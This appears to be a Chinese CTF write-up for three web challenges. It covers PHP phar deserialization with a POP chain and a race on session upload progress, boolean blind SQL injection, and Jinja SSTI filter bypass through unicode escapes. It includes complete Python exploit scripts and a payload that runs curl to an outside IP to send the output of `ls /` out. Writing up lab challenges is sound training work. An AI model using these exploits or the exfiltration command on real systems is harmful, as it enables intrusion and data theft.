Ez to getflag
图片查看处可以任意文件读取
非预期
直接读取flag
f=/flag
预期解
file.php
<?php
error_reporting(0);
session_start();
require_once('class.php');
$filename = $_GET['f'];
$show = new Show($filename);
$show->show();
?>
upload.php
<?php
error_reporting(0);
session_start();
require_once('class.php');
$upload = new Upload();
$upload->uploadfile();
?>
class.php
<?php
class Upload {
public $f;
public $fname;
public $fsize;
function __construct(){
$this->f = $_FILES;
}
function savefile() {
$fname = md5($this->f["file"]["name"]).".png";
if(file_exists('./upload/'.$fname)) {
@unlink('./upload/'.$fname);
}
move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
echo "upload success! :D";
}
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
function uploadfile() {
if($this->file_check()) {
$this->savefile();
}
}
function file_check() {
$allowed_types = array("png");
$temp = explode(".",$this->f["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
echo "what are you uploaded? :0";
return false;
}
else{
if(in_array($extension,$allowed_types)) {
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
$f = file_get_contents($this->f["file"]["tmp_name"]);
if(preg_match_all($filter,$f)){
echo 'what are you doing!! :C';
return false;
}
return true;
}
else {
echo 'png onlyyy! XP';
return false;
}
}
}
}
class Show{
public $source;
public function __construct($fname)
{
$this->source = $fname;
}
public function show()
{
if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
die('illegal fname :P');
} else {
echo file_get_contents($this->source);
$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
echo "<img src={$src} />";
}
}
function __get($name)
{
$this->ok($name);
}
public function __call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
}else{
$this->backdoor(end($arguments));
}
return $name;
}
public function backdoor($door){
include($door);
echo "hacked!!";
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
die("illegal fname XD");
}
}
}
class Test{
public $str;
public function __construct(){
$this->str="It's works";
}
public function __destruct()
{
echo $this->str;
}
}
?>
可以看到没有unserialize,且没有过滤phar协议,考虑phar反序列化
最终的利用点是Show::backdoor
中的include,利用session.upload_progress进行文件包含
审计一下,构造pop链
Test::__destruct-->Upload::__toString-->Show::__get-->Show::__call-->Show::backdoor
还有个问题,题目对文件内容进行了过滤,对应方法为利用phar文件在被一些压缩方式压缩后依然可以使用phar协议进行解析的特性,传一个压缩过后的phar文件进去
出题人还贴心地在Show::__call
中加了个phpinfo
可以测试一下
构造phar文件
<?php
class Upload {
public $f;
public $fname;
public $fsize;
}
class Show{
public $source;
}
class Test{
public $str;
}
$p = new Test();
$p->str = new Upload();
$p->str->fname = new Show();
$p->str->fsize = 'phpinfo';
echo serialize($p);
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($p);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
将生成的phar以gzip方式进行压缩,后缀改为png,上传
然后f=phar://upload/364be8860e8d72b4358b5e88099a935a.png
测试成功,那么只需把fsize的值改成sess文件名,然后条件竞争去包含即可
生成phar
<?php
class Upload{
public $fname;
public $fsize;
}
class Show{
public $source;
}
class Test{
public $str;
}
$upload = new Upload();
$show = new Show();
$test = new Test();
$test->str = $upload;
$upload->fname=$show;
$upload->fsize='/tmp/sess_chaaa';
// $test->str = 'okkkk';
@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
exp
import sys,threading,requests,re
from hashlib import md5
# HOST = sys.argv[1]
# PORT = sys.argv[2]
flag=''
check=True
# 触发phar文件反序列化去包含session上传进度文件
def include(fileurl,s):
global check,flag
while check:
fname = md5('shell.png'.encode('utf-8')).hexdigest()+'.png'
params = {
'f': 'phar://upload/'+fname
}
res = s.get(url=fileurl, params=params)
if "working" in res.text:
flag = re.findall('upload_progress_working(DASCTF{.+})',res.text)[0]
check = False
# 利用session.upload.progress写入临时文件
def sess_upload(url,s):
global check
while check:
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag');?>\"); ?>"
}
cookies={
'PHPSESSID': 'chaaa'
}
files={
'file': ('chaaa.png', b'cha'*300)
}
s.post(url=url,data=data,cookies=cookies,files=files)
def exp():
url = "http://60e092c1-6bb2-4e29-9fb7-596a334676a2.node4.buuoj.cn:81/"
fileurl = url+'file.php'
uploadurl = url+'upload.php'
num = threading.active_count()
# 上传phar文件
file = {'file': open('./shell.png', 'rb')}
ret = requests.post(url=uploadurl, files=file)
# 文件上传条件竞争获取flag
event=threading.Event()
s1 = requests.Session()
s2 = requests.Session()
for i in range(1,10):
threading.Thread(target=sess_upload,args=(uploadurl,s1)).start()
for i in range(1,10):
threading.Thread(target=include,args=(fileurl,s2,)).start()
event.set()
while threading.active_count() != num:
pass
if __name__ == '__main__':
exp()
print(flag)
绝对防御
这里要用到JSFinder
JSFinder是一款用作快速在网站的js文件中提取URL,子域名的工具
发现可疑url
内容如下
<script>
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
function check(){
var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;
if (reg.test(getQueryVariable("id"))) {
alert("提示:您输入的信息含有非法字符!");
window.location.href = "/"
}
}
check()
</script>
     
猜测是sql注入,虽然有限制,但是是前端限制,没卵用
盲注得到flag
import requests
import time
url = 'http://7fe11540-8584-472a-a44e-a38b70969da1.node4.buuoj.cn:81/SUPPERAPI.php?id='
flag = ''
for i in range(1,50):
left = 1
right = 127
mid = int((left+right)/2)
while(left<right):
# payload = '1 and ascii(substr(database(),{},1))={}'.format(i,mid)
# payload = "1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctf'),{},1))>{}".format(i,mid)
# payload = "1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))>{}".format(i,mid)
payload = "1 and ascii(substr((select password from users where id=2),{},1))>{}".format(i,mid)
req = requests.get(url+payload)
time.sleep(0.3)
if 'admin' in req.text:
left = mid+1
else:
right = mid
mid=int((left+right)/2)
flag+=chr(mid)
print(flag)
Harddisk
过滤了非常多的ssti
大致有这些
}}, {{, ], [, ], \, , +, _, ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, url_for, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers
过滤了大括号 {{
,我们可以用 {%print(......)%}
或 {% if ... %}1{% endif %}
的形式来代替,但是题目还过滤了 print 关键字,所以前者用不了了,只能用 {% if ... %}success{% endif %}
的形式来bypass了。但是这样的话payload执行成功后只会输出中间的"success"而不会输出执行的结果的,所以我们要用外带数据的方法来得到payload执行的结果。
由于还过滤了像 ]
、_
、request
这类常用的字符和关键字,我们可以用__getitem__
,attr()
配合 unicode 编码的方法绕过
attr用于获取变量
""|attr("__class__")
相当于
"".__class__
__getitem__
用来调取字典中的键值
a['b']
相当于
a.__getitem__('b')
语句类似如下
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"))%}success{%endif%} # {%if("".__class__)%}success{%endif%}
知道怎么bypass后,接下来需要寻找含有popen的类
{%if("".__class__.__bases__[0].__subclasses__()[遍历].__init__.__globals__["popen"])%}success{%endif%} -->>
{%if(""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(遍历)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen"))%}success{%endif%} -->>
# unicode 编码:
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(遍历)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e"))%}success{%endif%}
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://86cda2e2-8d3d-4b3a-9cb0-9e6da8233df2.node4.buuoj.cn:81/"
payload = {"nickname":'{%if(""|attr("\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(0)|attr("\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f")()|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(' + str(i) + ')|attr("\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")("\\u0070\\u006f\\u0070\\u0065\\u006e"))%}success{%endif%}'}
res = requests.post(url=url, headers=headers, data=payload)
if 'success' in res.text:
print(i)
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u006c\u0073\u0020\u002f`\"")|attr("\u0072\u0065\u0061\u0064")())%}1{%endif%} # curl 47.xxx.xxx.72:2333 -d \"`ls /`\"
但是我最后没复现成功,可能是hw期间不出网